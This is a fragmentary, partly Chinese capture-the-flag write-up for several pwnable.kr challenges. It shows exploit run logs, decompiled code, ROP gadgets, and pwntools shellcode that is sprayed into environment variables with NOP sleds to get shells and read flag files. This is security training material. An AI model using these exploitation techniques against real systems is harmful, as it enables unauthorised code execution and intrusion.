brainfuck@ubuntu:/tmp/brainfuck_test$ python3 get_flag.py [+] Opening connection to 0.0.0.0 on port 9001: Done [*] '/home/brainfuck/brainfuck' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine [*] '/home/brainfuck/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled /tmp/brainfuck_test/get_flag.py:36: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes print(target.recvuntil('except [ ]\n')) b'welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n' <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<..>.>.>.<<<,>,>,>,<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,. /tmp/brainfuck_test/get_flag.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes target.sendline(input) [*] Switching to interactive mode welcome to brainfuck testing system!! type some brainfuck instructions except [ ] $ ls brainfuck_pwn $ cd brainfuck_pwn $ ls brainfuck flag super.pl $ cat flag bR41n_F4ck_Is_FuN_LanguaG3 $
int __cdecl main(int argc, constchar **argv, constchar **envp) { time_t v3; // eax int v5; // [esp+18h] [ebp-8h] BYREF int v6; // [esp+1Ch] [ebp-4h]
setvbuf(stdout, 0, 1, 0); setvbuf(stdin, 0, 1, 0); puts("- Welcome to the free MD5 calculating service -"); v3 = time(0); srand(v3); v6 = my_hash(); printf("Are you human? input captcha : %d\n", v6); __isoc99_scanf("%d", &v5); if ( v6 != v5 ) { puts("wrong captcha!"); exit(0); } puts("Welcome! you are authenticated."); puts("Encode your data with BASE64 then paste me!"); process_hash(); puts("Thank you for using our service."); system("echo `date` >> log"); return0; }
程序先调用 my_hash 函数，计算出一个验证码。函数 my_hash 代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
intmy_hash() { int i; // [esp+0h] [ebp-38h] _BYTE v2[4]; // [esp+Ch] [ebp-2Ch] int v3; // [esp+10h] [ebp-28h] int v4; // [esp+14h] [ebp-24h] int v5; // [esp+18h] [ebp-20h] int v6; // [esp+1Ch] [ebp-1Ch] int v7; // [esp+20h] [ebp-18h] int v8; // [esp+24h] [ebp-14h] int v9; // [esp+28h] [ebp-10h] unsignedint v10; // [esp+2Ch] [ebp-Ch]
md5calculator@ubuntu:/tmp/md5calculator_test$ python3 get_flag.py [+] Opening connection to 0.0.0.0 on port 9002: Done - Welcome to the free MD5 calculating service - Are you human? input captcha : Welcome! you are authenticated. Encode your data with BASE64 then paste me!
MD5(data) : bfa36c94217f87fc0763b24cfef0effe
[*] Switching to interactive mode $ cat md5calculator_pwn/flag MD5(data) : 441018525208457705bf09a8ee3c1093 M3ssing_w1th_st4ck_Pr0tector [*] Got EOF while reading in interactive $
simplelogin@ubuntu:/tmp/simplelogin_test$ python3 get_flag.py [+] Opening connection to pwnable.kr on port 9003: Done /tmp/simplelogin_test/get_flag.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes print(target.recvuntil('Authenticate : ') + payload) b'Authenticate : QUFBQXiSBAhA6xEI' [*] Switching to interactive mode hash : eb95a178657138cb8a9a8fe593c0eb7c Congratulation! you are good! $ ls flag log simplelogin super.pl $ cat flag C0ntrol_EBP_E5P_EIP_and_rul3_th3_w0rld $
ascii_easy@ubuntu:~$ checksec ascii_easy [*] '/home/ascii_easy/ascii_easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
.rodata:00155830 db 43h ; C .rodata:00155831 db 0 .rodata:00155832 db 0 .rodata:00155833 db 0 .rodata:00155834 db 0 .rodata:00155835 db 0 .rodata:00155836 db 0
挑选 gadget 代码，通过寄存器将字符串写入内存中。
1 2
0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret 0x00129b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
为字符串添加截断符。
1 2
0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret 0x000a845c : mov dword ptr [edx], eax ; repz ret
tiny_easy@ubuntu:~$ checksec tiny_easy [*] '/home/tiny_easy/tiny_easy' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) tiny_easy@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space 2
tiny_easy@ubuntu:~$ python3 Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> context(os = 'linux', arch='x86') >>> print(asm(shellcraft.sh())) b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
在题目平台终端中，将 nop 指令和 shellcode 导入环境变量。
1
for i in `seq 1 100`; do export A_$i=$(python2 -c 'print "\x90" * 0x1000 + "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"'); done;
tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy & [1] 29383 tiny_easy@ubuntu:~$ fg -bash: fg: job has terminated [1]+ Segmentation fault (core dumped) exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy & [1] 29398 tiny_easy@ubuntu:~$ fg exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy $ ls flag tiny_easy $ cat flag cat: flag: Permission denied $
测试发现，直接得到的 shell 会话是 tiny_easy 权限，无法读取 flag 文件的内容。因此重新生成 shellcode 代码，通过 cat 命令直接读取 flag 文件。
1 2 3 4 5 6 7
tiny_easy@ubuntu:~$ python3 Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> context(os='linux', arch='x86') >>> print(asm(shellcraft.cat('/home/tiny_easy/flag'))) b'j\x01\xfe\x0c$hflaghasy/hny_ehe/tih/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'
重新登录 ssh 会话，导入新的环境变量内容。
1
tiny_easy@ubuntu:~$ for i in `seq 1 100`; do export A_$i=$(python2 -c 'print "\x90" * 0x1000 + "j\x01\xfe\x0c$hflaghasy/hny_ehe/tih/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80"'); done;